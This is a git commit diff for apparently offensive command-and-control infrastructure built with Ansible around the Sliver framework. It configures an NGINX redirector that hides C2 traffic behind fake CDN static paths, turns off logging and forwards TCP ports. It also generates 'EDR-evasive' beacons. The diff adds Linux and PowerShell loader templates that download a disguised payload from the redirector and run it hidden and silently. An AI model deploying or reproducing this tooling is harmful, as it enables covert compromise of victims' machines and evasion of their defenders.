trying to fix it all
This commit is contained in:
n0mad1k
+33
-5
@@ -82,17 +82,45 @@
|
||||
- ../files/secure-exit.sh
|
||||
- ../files/sliver_randomizer.sh
|
||||
|
||||
- name: Create beacon generation script from template
|
||||
- name: Create main beacon generation script
|
||||
template:
|
||||
src: "../templates/generate_evasive_beacons.sh.j2"
|
||||
dest: "/opt/c2/generate_evasive_beacons.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
vars:
|
||||
redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
|
||||
domain: "{{ domain }}"
|
||||
redirector_port: "{{ redirector_port | default('443') }}"
|
||||
|
||||
- name: Create Linux loader script template
|
||||
template:
|
||||
src: "../templates/linux_loader.sh.j2"
|
||||
dest: "/opt/c2/linux_loader.template"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create Windows PowerShell loader template
|
||||
template:
|
||||
src: "../templates/windows_loader.ps1.j2"
|
||||
dest: "/opt/c2/windows_loader.template"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create manifest template
|
||||
template:
|
||||
src: "../templates/manifest.json.j2"
|
||||
dest: "/opt/c2/manifest.template"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create reference file template
|
||||
template:
|
||||
src: "../templates/reference.txt.j2"
|
||||
dest: "/opt/c2/reference.template"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create beacon server script from template
|
||||
template:
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
---
|
||||
# Common task for configuring redirector
|
||||
# Common task for configuring redirector with full encryption
|
||||
# Shared across all providers
|
||||
|
||||
- name: Install required packages for redirector
|
||||
@@ -70,15 +70,36 @@
|
||||
group: root
|
||||
when: zero_logs | bool
|
||||
|
||||
# Configure nginx sites with default values - no certificate
|
||||
- name: Configure NGINX site with HTTP (no SSL)
|
||||
copy:
|
||||
# Configure nginx for dual HTTP/HTTPS with complete encryption
|
||||
- name: Configure NGINX for secure C2 redirection
|
||||
template:
|
||||
content: |
|
||||
# HTTP server - redirects all to HTTPS
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name cdn.{{ domain }};
|
||||
server_name {{ redirector_subdomain }}.{{ domain }};
|
||||
|
||||
# Force redirect to HTTPS for all traffic
|
||||
return 301 https://$host$request_uri;
|
||||
}
|
||||
|
||||
# HTTPS server - handles both HTTP and MTLS C2 traffic
|
||||
server {
|
||||
listen 443 ssl;
|
||||
listen [::]:443 ssl;
|
||||
server_name {{ redirector_subdomain }}.{{ domain }};
|
||||
|
||||
# SSL Configuration
|
||||
ssl_certificate /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem;
|
||||
ssl_certificate_key /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/privkey.pem;
|
||||
ssl_protocols TLSv1.2 TLSv1.3;
|
||||
ssl_prefer_server_ciphers on;
|
||||
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
|
||||
ssl_session_timeout 1d;
|
||||
ssl_session_cache shared:SSL:10m;
|
||||
|
||||
# Root directory
|
||||
root /var/www/html;
|
||||
index index.html;
|
||||
|
||||
@@ -87,8 +108,7 @@
|
||||
try_files $uri $uri/ =404;
|
||||
}
|
||||
|
||||
# Special URI patterns for C2 traffic
|
||||
# These will redirect to the actual C2 server
|
||||
# HTTP C2 paths (still over HTTPS)
|
||||
location /ajax/ {
|
||||
proxy_pass http://{{ c2_ip }}:8888;
|
||||
proxy_http_version 1.1;
|
||||
@@ -99,7 +119,19 @@
|
||||
proxy_set_header Connection "upgrade";
|
||||
}
|
||||
|
||||
# Static resources that actually redirect to C2
|
||||
# MTLS/TCP passthrough for direct Sliver communication
|
||||
location /mtls/ {
|
||||
proxy_pass https://{{ c2_ip }}:443;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection "upgrade";
|
||||
proxy_ssl_verify off;
|
||||
}
|
||||
|
||||
# Static resources that redirect to C2
|
||||
location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ {
|
||||
proxy_pass http://{{ c2_ip }}:8888;
|
||||
proxy_http_version 1.1;
|
||||
@@ -108,19 +140,32 @@
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
}
|
||||
|
||||
# Additional security headers
|
||||
# Security headers
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-XSS-Protection "1" mode=block;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
add_header Referrer-Policy "no-referrer" always;
|
||||
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'" always;
|
||||
|
||||
# Disable logging if zero-logs is enabled
|
||||
{% if zero_logs | default(true) | bool %}
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
{% endif %}
|
||||
}
|
||||
|
||||
# Catch-all server block to respond to unknown hosts
|
||||
# Catch-all server block
|
||||
server {
|
||||
listen 80 default_server;
|
||||
listen [::]:80 default_server;
|
||||
listen 443 ssl default_server;
|
||||
listen [::]:443 ssl default_server;
|
||||
|
||||
# Redirect all unknown traffic to a legitimate-looking site
|
||||
# Self-signed cert for catch-all
|
||||
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
|
||||
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
|
||||
|
||||
# Redirect unknown traffic to a legitimate-looking site
|
||||
return 301 https://www.google.com;
|
||||
|
||||
# Disable logs
|
||||
@@ -133,76 +178,15 @@
|
||||
group: root
|
||||
|
||||
- name: Create legitimate-looking index.html
|
||||
copy:
|
||||
content: |
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>CDN - Content Delivery Network</title>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background-color: #f4f4f4;
|
||||
color: #333;
|
||||
}
|
||||
header {
|
||||
background-color: #2c3e50;
|
||||
color: white;
|
||||
padding: 1em;
|
||||
text-align: center;
|
||||
}
|
||||
.container {
|
||||
width: 80%;
|
||||
margin: 0 auto;
|
||||
padding: 2em;
|
||||
}
|
||||
.card {
|
||||
background-color: white;
|
||||
border-radius: 5px;
|
||||
padding: 1.5em;
|
||||
margin-bottom: 1.5em;
|
||||
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
|
||||
}
|
||||
footer {
|
||||
background-color: #2c3e50;
|
||||
color: white;
|
||||
text-align: center;
|
||||
padding: 1em;
|
||||
position: fixed;
|
||||
bottom: 0;
|
||||
width: 100%;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<header>
|
||||
<h1>cdn.{{ domain }}</h1>
|
||||
<p>Enterprise Content Delivery Network</p>
|
||||
</header>
|
||||
|
||||
<div class="container">
|
||||
<div class="card">
|
||||
<h2>Welcome to Our CDN</h2>
|
||||
<p>This server is part of our global content delivery network.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<footer>
|
||||
<p>© 2025 {{ domain }} CDN Services. All rights reserved.</p>
|
||||
</footer>
|
||||
</body>
|
||||
</html>
|
||||
template:
|
||||
src: "../templates/redirector-index.html.j2"
|
||||
dest: /var/www/html/index.html
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Create SSL certificate setup instructions
|
||||
copy:
|
||||
template:
|
||||
content: |
|
||||
#!/bin/bash
|
||||
# Let's Encrypt Certificate Setup Script
|
||||
@@ -210,7 +194,7 @@
|
||||
|
||||
# Replace these with your actual values if needed
|
||||
DOMAIN="{{ domain }}"
|
||||
SUBDOMAIN="cdn"
|
||||
SUBDOMAIN="{{ redirector_subdomain }}"
|
||||
EMAIL="admin@${DOMAIN}"
|
||||
|
||||
echo "================================================"
|
||||
@@ -231,6 +215,31 @@
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
# Add stream module configuration for pure TCP forwarding
|
||||
- name: Configure NGINX stream module for TCP traffic
|
||||
template:
|
||||
content: |
|
||||
# TCP stream configuration for MTLS
|
||||
stream {
|
||||
# TCP forwarding for MTLS
|
||||
server {
|
||||
listen 31337;
|
||||
proxy_pass {{ c2_ip }}:31337;
|
||||
}
|
||||
|
||||
# Additional C2 ports
|
||||
server {
|
||||
listen 50051;
|
||||
proxy_pass {{ c2_ip }}:50051;
|
||||
}
|
||||
}
|
||||
dest: /etc/nginx/modules-enabled/stream.conf
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
notify:
|
||||
- restart nginx
|
||||
|
||||
- name: Start and enable shell handler service
|
||||
systemd:
|
||||
name: shell-handler
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#!/bin/bash
|
||||
# Corrected EDR-evasive beacon generator with templated redirector integration
|
||||
# Corrected EDR-evasive beacon generator with template files
|
||||
|
||||
# Configuration (automatically populated by Ansible)
|
||||
BEACONS_DIR="/opt/beacons"
|
||||
@@ -99,82 +99,45 @@ stager_win=$(random_output_name "windows")
|
||||
sliver-client generate stager --profile $stager_profile --os windows --arch amd64 --format exe --save "$BEACONS_DIR/staged/$stager_win"
|
||||
echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)"
|
||||
|
||||
# Create a manifest file for the serve-beacons.sh script to use
|
||||
cat > "$BEACONS_DIR/manifest.json" << EOF
|
||||
{
|
||||
"windows_exe": "$win_output",
|
||||
"windows_dll": "$dll_output",
|
||||
"linux_binary": "$linux_output",
|
||||
"macos_binary": "$mac_output",
|
||||
"windows_stager": "staged/$stager_win",
|
||||
"win_profile": "$win_profile",
|
||||
"dll_profile": "$dll_profile",
|
||||
"linux_profile": "$linux_profile",
|
||||
"mac_profile": "$mac_profile",
|
||||
"stager_profile": "$stager_profile",
|
||||
"redirector_host": "$REDIRECTOR_HOST",
|
||||
"redirector_port": "$REDIRECTOR_PORT",
|
||||
"c2_host": "$C2_HOST",
|
||||
"generated_date": "$(date)"
|
||||
}
|
||||
EOF
|
||||
# Create manifest file from template
|
||||
cp /opt/c2/manifest.template "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/WINDOWS_EXE/$win_output/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/WINDOWS_DLL/$dll_output/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/LINUX_BINARY/$linux_output/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/MACOS_BINARY/$mac_output/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/WINDOWS_STAGER/staged\/$stager_win/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/WIN_PROFILE/$win_profile/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/DLL_PROFILE/$dll_profile/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/LINUX_PROFILE/$linux_profile/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/MAC_PROFILE/$mac_profile/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/STAGER_PROFILE/$stager_profile/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/REDIRECTOR_PORT/$REDIRECTOR_PORT/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/C2_HOST/$C2_HOST/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/GENERATED_DATE/$(date)/g" "$BEACONS_DIR/manifest.json"
|
||||
|
||||
# Create loader scripts with redirector integration
|
||||
cat > "$BEACONS_DIR/linux_loader.sh" << 'EOFLINUX'
|
||||
#!/bin/bash
|
||||
# Loader script for Linux beacon
|
||||
curl -s https://REDIRECTOR_PLACEHOLDER/static/css/linux.css -H "Accept-Language: en-US,en;q=0.9" -o /tmp/linux_update
|
||||
chmod +x /tmp/linux_update
|
||||
/tmp/linux_update &
|
||||
EOFLINUX
|
||||
|
||||
# Replace placeholder with actual redirector host
|
||||
# Create Linux loader from template
|
||||
cp /opt/c2/linux_loader.template "$BEACONS_DIR/linux_loader.sh"
|
||||
sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/linux_loader.sh"
|
||||
chmod +x "$BEACONS_DIR/linux_loader.sh"
|
||||
|
||||
# Create PowerShell stager with improved OPSEC
|
||||
cat > "$BEACONS_DIR/windows_loader.ps1" << 'EOFPS'
|
||||
# Windows PowerShell Beacon Loader
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||
$ErrorActionPreference = "SilentlyContinue"
|
||||
$wc = New-Object System.Net.WebClient
|
||||
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||
$wc.Headers.Add("Referer", "https://REDIRECTOR_PLACEHOLDER/")
|
||||
$url = "https://REDIRECTOR_PLACEHOLDER/static/js/update.js"
|
||||
$outpath = "$env:TEMP\update-$(New-Guid).exe"
|
||||
try {
|
||||
$wc.DownloadFile($url, $outpath)
|
||||
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||
Start-Process -WindowStyle Hidden -FilePath $outpath
|
||||
} catch {
|
||||
# Fail silently
|
||||
}
|
||||
EOFPS
|
||||
|
||||
# Replace placeholder with actual redirector host
|
||||
# Create Windows PowerShell loader from template
|
||||
cp /opt/c2/windows_loader.template "$BEACONS_DIR/windows_loader.ps1"
|
||||
sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/windows_loader.ps1"
|
||||
|
||||
# Create index of generated files
|
||||
cat > "$BEACONS_DIR/reference.txt" << EOF
|
||||
C2 Server Details:
|
||||
- C2 IP: $C2_HOST
|
||||
- Redirector Domain: $REDIRECTOR_HOST
|
||||
|
||||
Beacons Generated ($(date)):
|
||||
- Windows EXE: $win_output (Profile: $win_profile)
|
||||
- Windows DLL: $dll_output (Profile: $dll_profile)
|
||||
- Linux Binary: $linux_output (Profile: $linux_profile)
|
||||
- macOS Binary: $mac_output (Profile: $mac_profile)
|
||||
- Windows Stager: staged/$stager_win (Profile: $stager_profile)
|
||||
|
||||
Usage:
|
||||
1. Ensure your redirector is properly configured to forward requests to the C2 server
|
||||
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
|
||||
3. Test connectivity before deployment in target environment
|
||||
|
||||
IMPORTANT: These beacons will connect to $REDIRECTOR_HOST on port $REDIRECTOR_PORT
|
||||
EOF
|
||||
|
||||
echo "[+] Beacon generation with redirector integration complete"
|
||||
echo "[+] Run serve-beacons.sh to start serving these Sliver beacons"
|
||||
# Create reference file from template
|
||||
cp /opt/c2/reference.template "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/C2_HOST/$C2_HOST/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/WINDOWS_EXE/$win_output/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/WINDOWS_DLL/$dll_output/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/LINUX_BINARY/$linux_output/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/MACOS_BINARY/$mac_output/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/WINDOWS_STAGER/$stager_win/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/WIN_PROFILE/$win_profile/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/DLL_PROFILE/$dll_profile/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/LINUX_PROFILE/$linux_profile/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/MAC_PROFILE/$mac_profile/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/STAGER_PROFILE/$stager_profile/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/REDIRECTOR_PORT/$REDIRECTOR_PORT/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/GENERATED_DATE/$(date)/g" "$BEACONS_DIR/reference.txt"
|
||||
@@ -0,0 +1,5 @@
|
||||
#!/bin/bash
|
||||
# Loader script for Linux beacon
|
||||
curl -s https://REDIRECTOR_PLACEHOLDER/static/css/linux.css -H "Accept-Language: en-US,en;q=0.9" -o /tmp/linux_update
|
||||
chmod +x /tmp/linux_update
|
||||
/tmp/linux_update &
|
||||
@@ -0,0 +1,16 @@
|
||||
{
|
||||
"windows_exe": "WINDOWS_EXE",
|
||||
"windows_dll": "WINDOWS_DLL",
|
||||
"linux_binary": "LINUX_BINARY",
|
||||
"macos_binary": "MACOS_BINARY",
|
||||
"windows_stager": "WINDOWS_STAGER",
|
||||
"win_profile": "WIN_PROFILE",
|
||||
"dll_profile": "DLL_PROFILE",
|
||||
"linux_profile": "LINUX_PROFILE",
|
||||
"mac_profile": "MAC_PROFILE",
|
||||
"stager_profile": "STAGER_PROFILE",
|
||||
"redirector_host": "REDIRECTOR_HOST",
|
||||
"redirector_port": "REDIRECTOR_PORT",
|
||||
"c2_host": "C2_HOST",
|
||||
"generated_date": "GENERATED_DATE"
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
C2 Server Details:
|
||||
- C2 IP: C2_HOST
|
||||
- Redirector Domain: REDIRECTOR_HOST
|
||||
|
||||
Beacons Generated (GENERATED_DATE):
|
||||
- Windows EXE: WINDOWS_EXE (Profile: WIN_PROFILE)
|
||||
- Windows DLL: WINDOWS_DLL (Profile: DLL_PROFILE)
|
||||
- Linux Binary: LINUX_BINARY (Profile: LINUX_PROFILE)
|
||||
- macOS Binary: MACOS_BINARY (Profile: MAC_PROFILE)
|
||||
- Windows Stager: staged/WINDOWS_STAGER (Profile: STAGER_PROFILE)
|
||||
|
||||
Usage:
|
||||
1. Ensure your redirector is properly configured to forward requests to the C2 server
|
||||
2. Update DNS for REDIRECTOR_HOST to point to your redirector IP
|
||||
3. Test connectivity before deployment in target environment
|
||||
|
||||
IMPORTANT: These beacons will connect to REDIRECTOR_HOST on port REDIRECTOR_PORT
|
||||
@@ -0,0 +1,16 @@
|
||||
# Windows PowerShell Beacon Loader
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||
$ErrorActionPreference = "SilentlyContinue"
|
||||
$wc = New-Object System.Net.WebClient
|
||||
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||
$wc.Headers.Add("Referer", "https://REDIRECTOR_PLACEHOLDER/")
|
||||
$url = "https://REDIRECTOR_PLACEHOLDER/static/js/update.js"
|
||||
$outpath = "$env:TEMP\update-$(New-Guid).exe"
|
||||
try {
|
||||
$wc.DownloadFile($url, $outpath)
|
||||
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||
Start-Process -WindowStyle Hidden -FilePath $outpath
|
||||
} catch {
|
||||
# Fail silently
|
||||
}
|
||||
Reference in New Issue
Block a user